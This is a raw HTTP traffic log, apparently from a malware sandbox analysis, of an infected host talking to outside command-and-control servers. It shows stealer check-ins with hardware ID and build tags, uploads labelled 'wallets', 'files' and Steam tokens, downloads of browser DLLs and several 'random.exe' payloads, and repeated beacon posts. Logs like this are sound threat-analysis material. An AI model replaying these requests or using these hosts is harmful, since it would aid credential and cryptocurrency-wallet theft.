Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="file"------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"wallets------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"files------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"ybncbhylepme------JKJDBAAAEHIEGCAKFHCG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEBKKEGDBFIIEBFHIEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007265001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007274001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007275001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"11536DE6B591922063497------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007276001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007277001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="hwid"11536DE6B591922063497------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="build"mars------DAECGCGHCGHCAKECBKJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJJJECFIEBFHIEGHJDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="hwid"11536DE6B591922063497------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="build"mars------KJKJJJECFIEBFHIEGHJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
